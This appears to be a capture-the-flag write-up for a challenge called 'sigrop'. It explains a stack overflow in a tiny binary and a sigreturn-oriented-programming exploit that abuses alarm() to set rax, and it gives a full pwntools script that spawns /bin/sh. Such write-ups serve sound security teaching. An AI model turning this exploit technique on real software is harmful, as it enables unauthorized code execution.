#sigrop # Understanding the Challenge We were given assembly source. The decompiled is below: ```python int64_t _start() void var_108 {Frame offset -108} timer() syscall(sys_write {1}, fd: 1, buf: &message, count: 0x3c) void var_108 return syscall(sys_read {0}, fd: 0, buf: &var_108, count: 0x1000) ``` # The Vuln We can overflow `var_108` because we can write 0x1000 bytes and would only take 0x108+0x8 bytes to corrupt `rip` # The Exploit The binary is really small so not much to work with, however we do have a `syscall` gadget we can use to `sigreturn rop` We can use abuse the `alarm` syscall to set `rax` to `0xf` in order to call `sigreturn`. According to man pages: ``` RETURN VALUE alarm() returns the number of seconds remaining until any previously scheduled alarm was due to be deliv‐ ered, or zero if there was no previously scheduled alarm. ``` If we call `alarm(0xf)` twice back to back without any seconds going by, `rax` will be set to `0xf` The `sigreturn` syscall sets all registers by popping values off the stack. We can prepare the stack so when a sigreturn is called, the registers will be populated from the stack with the desired values. Pwntools makes it easier with `SigreturnFrame`, but its not too hard either to do manually. # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() #gdb.attach(io) bin_sh = 0x402035 syscall = 0x401044 frame = SigreturnFrame(kernel='amd64') frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall payload = b"" payload += b"A"*0x108 payload += p64(elf.symbols['timer']) payload += p64(elf.symbols['timer']) payload += p64(syscall) payload += bytes(frame) io.sendline(payload) io.interactive() ```